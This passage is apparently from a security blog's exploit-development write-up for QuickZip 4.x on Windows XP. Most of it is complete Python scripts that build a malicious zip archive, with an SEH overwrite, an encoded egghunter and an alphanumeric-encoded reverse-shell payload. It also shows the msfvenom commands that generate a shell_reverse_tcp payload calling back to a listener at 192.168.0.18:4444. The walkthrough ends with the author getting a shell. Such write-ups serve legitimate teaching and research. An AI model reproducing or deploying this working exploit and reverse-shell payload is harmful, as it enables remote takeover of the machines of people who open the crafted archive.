#!/usr/bin/env python3 """ QuickZip 4.x exploit. Vulnerable Software: QuickZip Version: 4.x Exploit Author: Andres Roldan Tested On: Windows XP SP3 Writeup: https://fluidattacks.com/blog/quickzip-exploit/ """ import struct FILENAME = ( b'A' * (298 - 4 - 45) + # Jump to the start of our buffer # This will be translated to \xe9\x02\xff\xff\xff b'\x82\x02\x98\x98\x98' + # Fill the rest of our buffer b'A' * (45 - 5) + # This will be translated to \xeb\xd1 -> 44 bytes backwards
b'\x89\xa5' +
# To fill the rest of the nSEH field
b'A' * 2 +
# 00524478 . 59 POP ECX
# 00524479 . 5D POP EBP
# 0052447A . C2 0400 RETN 4
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:
Wonderful!
Egghunting
Now we have 248 bytes to work. An unencoded shell will be around 350 bytes.
With that kind of space restriction, what can use an egghunter.
To briefly recap, an egghunter is a small shellcode that will walk the entire memory of the running process looking for a tag (an egg
), and when it finds it, it will execute anything that follows.
An egghunter can be created by the egghunter.rb
Metasploit tool.
$ msf-egghunter -e flui -f hex 6681caff0f42526a0258cd2e3c055a74efb8666c756989d7af75eaaf75e7ffe7 $ msf-egghunter -e flui -f raw > egg.bin
$
This will create a file called egg.bin
with our egghunter, that will hunt for the egg fluiflui
(I wanted it to be fluid
, but it must be 4*2 bytes long).
As we see, the resulting bytes are not in our allowed list, nor are translated by other bytes, so we must encode it. We can use some of the alphanumeric encoders of msfvenom
. I will use x86/alpha_mixed
:
$ cat egg.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c'
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 126 (iteration=0)
x86/alpha_mixed chosen with final size 126
Payload size: 126 bytes
�����r�_WYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJISVnaiZKOfoG2brRJc2V8xMvNwLs50ZSDHo8856PlaeqynizwnOSEYzlocEHgIoYwAA
But, hey, we used an alphanumeric encoder but there are some bytes at the start that are clearly not alphanumeric! Well, those bytes are used by the encoder to get the current absolute position on memory and stores the location on ECX
to perform relative calculations. That code is also known as GetPC
for Get Program Counter.
However, if we can point a general purpose register (for example, EAX
) to where our egghunter will begin, we could use the BufferRegister=EAX
option that will eliminate those first bad chars:
$ cat egg.bin | msfvenom -p - -a x86 --platform windows -e x86/alpha_mixed -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' BufferRegister=EAX
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 118 (iteration=0)
x86/alpha_mixed chosen with final size 118
Payload size: 118 bytes
PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrBJs2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA
Great! But, how can we do that?
Getting Program Counter (EIP)
We have performed two jumps. The first one was a short jump that pointed to the second long jump, that led us in turn to the start of our buffer. When a jump is performed, EIP
register holds the address to the place the jump is pointing to. So, after the second jump EIP
is pointing to the start of our buffer. As we instructed the encoder to find the egghunter on EAX
, we must make EAX = EIP
. However, you just can’t do something like mov eax,eip
.
To do that, we can use the way the call
instruction works: A call
is like a jmp
, except that it will push the next instruction to be executed on the stack, also called saved return address or saved EIP. So if our call
points to a place where a pop eax
will be, EAX
will pop back that value off of the stack and will get the value of EIP
!
The following code will do the trick:
0012FAD6 /EB 04 JMP SHORT 0012FADC
0012FAD8 |41 INC ECX
0012FAD9 |58 POP EAX
0012FADA |EB 05 JMP SHORT 0012FAE1
0012FADC \E8 F7FFFFFF CALL 0012FAD8
0012FAE1 41 INC ECX
And works like this:
-
0012FAD6
is the place where our second jump lands. -
That instruction will jump to
0012FADC
where acall
is located. -
When the
call
is executed, it will push to the stack a pointer to the next instruction, in our example0012FAE1
. -
That
call
instruction will jump to0012FAD8
which is added for padding. -
Then
pop eax
is executed. That would pop back off of the stack0012FAE1
and stores it onEAX
. -
Finally, the
JMP SHORT 0012FAE1
is executed that will jump to0012FAE1
. -
In
0012FAE1
we will put the first byte of our encoded egghunter.
Let’s update our exploit. We must encode that instructions using the mangling table:
#!/usr/bin/env python3 """ QuickZip 4.x exploit. Vulnerable Software: QuickZip Version: 4.x Exploit Author: Andres Roldan Tested On: Windows XP SP3 Writeup: https://fluidattacks.com/blog/quickzip-exploit/ """ import struct FILENAME = ( # Translates to \xeb\x04: JMP SHORT +0x6 b'\x89\x04' + # Padding b'\x41' + # POP EAX b'\x58' + # Translates to \xeb\x05: JMP SHORT +0x7 b'\x89\x05' + # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7 b'\x8a\xf6\x98\x98\x98' + b'A' * (298 - 4 - 45 - 11) + # Jump to the start of our buffer # This will be translated to \xe9\x02\xff\xff\xff b'\x82\x02\x98\x98\x98' + # Fill the rest of our buffer b'A' * (45 - 5) + # This will be translated to \xeb\xd1 -> 44 bytes backwards
b'\x89\xa5' +
# To fill the rest of the nSEH field
b'A' * 2 +
# 00524478 . 59 POP ECX
# 00524479 . 5D POP EBP
# 0052447A . C2 0400 RETN 4
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Notice that the needed bytes can be obtained using our mangle table again! Let’s check it. If everything comes as expected, EAX
should have a pointer to the instruction below the CALL
:
Isn’t it beautiful? Now we can just inject our encoded egghunter right after the call
instruction:
#!/usr/bin/env python3 """ QuickZip 4.x exploit. Vulnerable Software: QuickZip Version: 4.x Exploit Author: Andres Roldan Tested On: Windows XP SP3 Writeup: https://fluidattacks.com/blog/quickzip-exploit/ """ import struct EGGHUNTER = ( b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB' b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA' ) FILENAME = ( # Translates to \xeb\x04: JMP SHORT +0x6 b'\x89\x04' + # Padding b'\x41' + # POP EAX b'\x58' + # Translates to \xeb\x05: JMP SHORT +0x7 b'\x89\x05' + # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7 b'\x8a\xf6\x98\x98\x98' + EGGHUNTER + b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) + # Jump to the start of our buffer # This will be translated to \xe9\x02\xff\xff\xff b'\x82\x02\x98\x98\x98' + # Fill the rest of our buffer b'A' * (45 - 5) + # This will be translated to \xeb\xd1 -> 44 bytes backwards
b'\x89\xa5' +
# To fill the rest of the nSEH field
b'A' * 2 +
# 00524478 . 59 POP ECX
# 00524479 . 5D POP EBP
# 0052447A . C2 0400 RETN 4
struct.pack('<L', 0x00524478) +
b'C' * 1698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:
It worked!
Injecting shellcode
Everything’s working right now. Except that we need a shellcode and we have no place to inject it.
But remember that our egghunter will look the entire process memory for the tag fluiflui
, will point EDI
register there, and execute anything that follows.
Also, remember that on our payload it was included some C
bytes that were chopped off from our injected buffer. But maybe there is a region in memory where that buffer was kept. Let’s check it:
Indeed! It was kept in heap memory. Our egghunter should now be able to reach it. Let’s create an encoded reverse shell:
$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=4444 EXITFUNC=none -e x86/alpha_mixed -f raw -b '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' BufferRegister=EDI
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 702 (iteration=0)
x86/alpha_mixed chosen with final size 702
Payload size: 702 bytes
WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIWM2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgqn6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshglC1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpwpsFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSpv0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQiojumUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKMQvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oyYp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54EmkaW232R2OSZs00SkO9EAA
Notice that we used BufferRegister=EDI
because the egghunter will point that register at the very beginning of our shellcode. We can update our exploit now. Remember to add the fluiflui
tag, so our egghunter can reach it:
#!/usr/bin/env python3 """ QuickZip 4.x exploit. Vulnerable Software: QuickZip Version: 4.x Exploit Author: Andres Roldan Tested On: Windows XP SP3 Writeup: https://fluidattacks.com/blog/quickzip-exploit/ """ import struct EGGHUNTER = ( b'PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI3VNaZjYoFo1RRrB' b'Js2V8ZmfNul4EQJQdxoLxcVBLsERIOyXWlocEIzLoQeIw9ojGAA' ) SHELL = ( b'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylYxnbePs0wpapK9' b'KUVQkpPdlK2p4pLKv2Flnk2rFtnk2RDhvoH7BjDfTqKONLul3Q1lvbdlWPo1JotM5QIW' b'M2l2v2qGLK0RtPLKQZGLLKblr11hhc1Xc1zq61nkBy5puQxSNk79b8HcfZCyLKUdLKgq' b'n6UaioNLzahOfm5QXGuhipRU9f6csMkH5k3MGT3EZDchLKpXutGqkc0flK6lBkLKshgl' b'C1KclK4DLKS1xPK9pD5tut3kQKqq69CjSaIoKPcoQOpZlK5BZKlM1MBH4sVRUP30BHpw' b'psFRaOCdcXbld7dfeWYozuH8NpgqwpEP6IHD2tRpcXUyoprKGpkOhU0P2prp60aPpPSp' b'v0e88jvoyOm0ioKelWqzEUrHyPNH30Wbe832c0VqCllIJFrJvpV6PWRHNyi5qdSQioju' b'mUo0t4VlkOPNgxd5Xl1xl0oElbpV9oJu1xqs0mCT30mYXcF73gSgvQKFsZB22yF6kRKM' b'QvJgw4ut7LUQuQLM0D6DTPZf5PQTPTpPRvSfQFw6bvRnPV2vRscfrH2YHLGOLF9oN5oy' b'Yp0N3fw6ioP02Hc8k7uMsPYo9EmkljXEYr3mqxOVj5MmmMkO8U5lC6qlVjopIkYpt54E' b'mkaW232R2OSZs00SkO9EAA' ) FILENAME = ( # Translates to \xeb\x04: JMP SHORT +0x6 b'\x89\x04' + # Padding b'\x41' + # POP EAX b'\x58' + # Translates to \xeb\x05: JMP SHORT +0x7 b'\x89\x05' + # Translates to \xe8\xf7\xff\xff\xff: CALL 0xfffffff7 b'\x8a\xf6\x98\x98\x98' + EGGHUNTER + b'A' * (298 - 4 - 45 - 11 - len(EGGHUNTER)) + # Jump to the start of our buffer # This will be translated to \xe9\x02\xff\xff\xff b'\x82\x02\x98\x98\x98' + # Fill the rest of our buffer b'A' * (45 - 5) + # This will be translated to \xeb\xd1 -> 44 bytes backwards
b'\x89\xa5' +
# To fill the rest of the nSEH field
b'A' * 2 +
# 00524478 . 59 POP ECX
# 00524479 . 5D POP EBP
# 0052447A . C2 0400 RETN 4
struct.pack('<L', 0x00524478) +
b'C' * 16 +
b'fluiflui' +
SHELL
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:
Yes! Our egghunter found the fluiflui
tag and the shellcode next to it. We should now be able to get a shell. Let’s check:
We got a shell!
You can download the final exploit here
Conclusion
This exploit was fun. We used the mangling performed by the application to our advantage. Working with the current environment will give you tools to think out of the box and obtain the desired results.
Recommended blog posts
You might be interested in the following related posts.
Users put their trust in you; they must be protected
Consequential data breaches in the financial sector
Is your financial service as secure as you think?
We need you, but we can't give you any money
Data breaches that left their mark on time
A digital infrastructure issue that many still ignore
Our pick of the hardest challenges for ethical hackers